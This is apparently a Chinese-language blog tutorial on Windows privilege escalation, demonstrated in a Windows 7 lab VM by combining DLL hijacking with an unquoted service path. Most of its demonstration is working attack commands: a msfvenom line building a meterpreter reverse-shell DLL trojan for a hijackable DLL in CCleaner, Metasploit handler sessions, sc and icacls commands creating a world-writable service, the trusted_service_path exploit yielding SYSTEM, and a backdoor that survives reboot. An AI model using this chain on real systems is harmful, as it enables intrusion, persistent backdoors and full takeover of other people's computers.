Windows 提权基础(下)

0x00. 序言

今天给大家讲一讲我自己的骚姿势,虽然技术内容都不是我自己发明的,但是我将几种技术杂糅在一起之后居然产生了让我自己都感到惊讶的效果!!

0x01. DLL 劫持原理

原理:程序通常不能靠自己自动运行,它们往往需要调用许多资源(主要是DLL 文件,Windows 中的动态链接库)。如果程序或者服务从一个我们拥有写权限的目录里加载文件时,我们就能够利用这一点来弹shell,当然这个shell 的权限也就是该程序所拥有的权限。

原理:通常来说Windows 程序会使用一个预定义搜索路径去寻找DLL 文件,并且会按照特定的顺序来检索这些路径。当将恶意的DLL 文件放到其中一个路径下,并保证该恶意DLL 先于合法的DLL 被程序找到时就会发生DLL 劫持;也可能是程序寻找的DLL 文件名在系统中并不存在,这时我们只需将自己定制的DLL 文件放到程序的搜索路径也可以达到目的

下面你可以看到在一个32 位系统中DLL 的搜索顺序:

1
2
3
4
5
6
1 - The directory from which the application loaded
2 - 32-bit System directory (C:\Windows\System32)
3 - 16-bit System directory (C:\Windows\System)
4 - Windows directory (C:\Windows)
5 - The current working directory (CWD)
6 - Directories in the PATH environment variable (system then user)

通过上面的搜索路径可以看到第六点环境变量,这也是我们比较容易控制的路径,如果目标装有python,那么Path = C:\Python27 就是我们可以控制的路径,我们只需要将恶意定制的DLL 文件放到这个目录就可以。

0x02. 实战演示

1. 首先我在知乎上随便搜了点关于Windows 中的软件,然后随便选了一个感觉可能存在DLL 劫持的软件安装到我的Windows 7 虚拟机中

2. 然后调用工具 DllHijackAuditor 自动检测我们刚才下载的软件是否存在DLL 劫持,根据下图可以看到这里面存在一共 5 个DLL 文件可供我们恶意劫持,这是我没想到的,我确实是在网上随便搜了一个软件而已,没想到居然会这么不经摧折!

3. 接下来我们利用msfvenom 生成文件名为ext-ms-win-kernel32-package-current-l1-1-0.dll 的 DLL 木马,用于进行DLL 劫持。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.175.143 lport=4444 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0.dll

4. 查看Windows 的环境变量,并将DLL 木马文件放入可控的环境变量中,这样当我们启动CCleaner 软件的时候就会调用我们的DLL 木马文件反弹shell

echo %path%

5. 启动msf 的监听模式,默默等待用户执行软件,可以看到我们现在只是普通管理员权限

1
2
3
4
5
6
7
8
9
10
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.175.143
lhost => 192.168.175.143
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.175.143:4444

6. 从meterpreter 进入shell 模式,然后我们手动构建一个存在漏洞的服务,以便后续进行提权到 SYSTEM

1
2
3
4
5
6
7
sc create "times0ng test" binPath= "C:\Program Files (x86)\times0ng test\just test\evil.exe" start= auto
cd C:\Program Files (x86)
mkdir "times0ng test\just test"
icacls "C:\Program Files (x86)\times0ng test" /grant Everyone:(OI)(CI)F /T

7. 调用msf 的提权模块进行提权,可以看到我们很容易就取得了SYSTEM 权限

use exploit/windows/local/trusted_service_path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\Program Files (x86)>exit
exit
meterpreter >
meterpreter > background
[*] Backgrounding session 8...
msf exploit(multi/handler) > use exploit/windows/local/trusted_service_path
msf exploit(windows/local/trusted_service_path) > set session 8
session => 8
msf exploit(windows/local/trusted_service_path) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/trusted_service_path) > set lhost 192.168.175.143
lhost => 192.168.175.143
msf exploit(windows/local/trusted_service_path) > set lport 4444
lport => 4444
msf exploit(windows/local/trusted_service_path) > run
[*] Started reverse TCP handler on 192.168.175.143:4444
[*] Finding a vulnerable service...
[*] Placing C:\Program.exe for times0ng test
[*] Writing 15872 bytes to C:\Program.exe...
[*] Launching service times0ng test...
[*] Sending stage (179779 bytes) to 192.168.175.145
[*] Meterpreter session 9 opened (192.168.175.143:4444 -> 192.168.175.145:49286) at 2018-04-10 11:05:23 -0400
[!] This exploit may require manual cleanup of 'C:\Program.exe' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

8. 重启win 7 ,我们的DLL 木马仍然静静地躺在那里充当着忠实可靠的后门,一旦用户执行CCleaner 就会触发木马(想象一下如果把CCleaner 换成系统服务,还是开机自动启动项,那么一旦用户重启计算机就会触发后门反弹给我们 SYSTEM shell)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > reboot
Rebooting...
meterpreter > [*] 192.168.175.145 - Meterpreter session 8 closed. Reason: Died
meterpreter >
[*] 192.168.175.145 - Meterpreter session 9 closed. Reason: Died
msf exploit(windows/local/trusted_service_path) > use exploit/multi/handler
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.175.143:4444
[*] Sending stage (179779 bytes) to 192.168.175.145
[*] Meterpreter session 10 opened (192.168.175.143:4444 -> 192.168.175.145:49160) at 2018-04-10 11:12:24 -0400
meterpreter > getuid
Server username: WIN-CKN6B7H8THF\times0ng
meterpreter >

0x03. 结语

希望大家能够喜欢,有更好的想法欢迎留言,或者进群交流!

文章目录
  1. 1. 0x00. 序言
    1. 1.0.1. 今天给大家讲一讲我自己的骚姿势,虽然技术内容都不是我自己发明的,但是我将几种技术杂糅在一起之后居然产生了让我自己都感到惊讶的效果!!
  • 2. 0x01. DLL 劫持原理
    1. 2.0.1. 原理:程序通常不能靠自己自动运行,它们往往需要调用许多资源(主要是DLL 文件,Windows 中的动态链接库)。如果程序或者服务从一个我们拥有写权限的目录里加载文件时,我们就能够利用这一点来弹shell,当然这个shell 的权限也就是该程序所拥有的权限。
    2. 2.0.2. 原理:通常来说Windows 程序会使用一个预定义搜索路径去寻找DLL 文件,并且会按照特定的顺序来检索这些路径。当将恶意的DLL 文件放到其中一个路径下,并保证该恶意DLL 先于合法的DLL 被程序找到时就会发生DLL 劫持;也可能是程序寻找的DLL 文件名在系统中并不存在,这时我们只需将自己定制的DLL 文件放到程序的搜索路径也可以达到目的
    3. 2.0.3. 下面你可以看到在一个32 位系统中DLL 的搜索顺序:
    4. 2.0.4. 通过上面的搜索路径可以看到第六点环境变量,这也是我们比较容易控制的路径,如果目标装有python,那么Path = C:\Python27 就是我们可以控制的路径,我们只需要将恶意定制的DLL 文件放到这个目录就可以。
  • 3. 0x02. 实战演示
    1. 3.0.1. 1. 首先我在知乎上随便搜了点关于Windows 中的软件,然后随便选了一个感觉可能存在DLL 劫持的软件安装到我的Windows 7 虚拟机中
    2. 3.0.2. 2. 然后调用工具 DllHijackAuditor 自动检测我们刚才下载的软件是否存在DLL 劫持,根据下图可以看到这里面存在一共 5 个DLL 文件可供我们恶意劫持,这是我没想到的,我确实是在网上随便搜了一个软件而已,没想到居然会这么不经摧折!
    3. 3.0.3. 3. 接下来我们利用msfvenom 生成文件名为ext-ms-win-kernel32-package-current-l1-1-0.dll 的 DLL 木马,用于进行DLL 劫持。
    4. 3.0.4. 4. 查看Windows 的环境变量,并将DLL 木马文件放入可控的环境变量中,这样当我们启动CCleaner 软件的时候就会调用我们的DLL 木马文件反弹shell
    5. 3.0.5. 5. 启动msf 的监听模式,默默等待用户执行软件,可以看到我们现在只是普通管理员权限
    6. 3.0.6. 6. 从meterpreter 进入shell 模式,然后我们手动构建一个存在漏洞的服务,以便后续进行提权到 SYSTEM
    7. 3.0.7. 7. 调用msf 的提权模块进行提权,可以看到我们很容易就取得了SYSTEM 权限
    8. 3.0.8. 8. 重启win 7 ,我们的DLL 木马仍然静静地躺在那里充当着忠实可靠的后门,一旦用户执行CCleaner 就会触发木马(想象一下如果把CCleaner 换成系统服务,还是开机自动启动项,那么一旦用户重启计算机就会触发后门反弹给我们 SYSTEM shell)
  • 4. 0x03. 结语
    1. 4.0.1. 希望大家能够喜欢,有更好的想法欢迎留言,或者进群交流!
  • |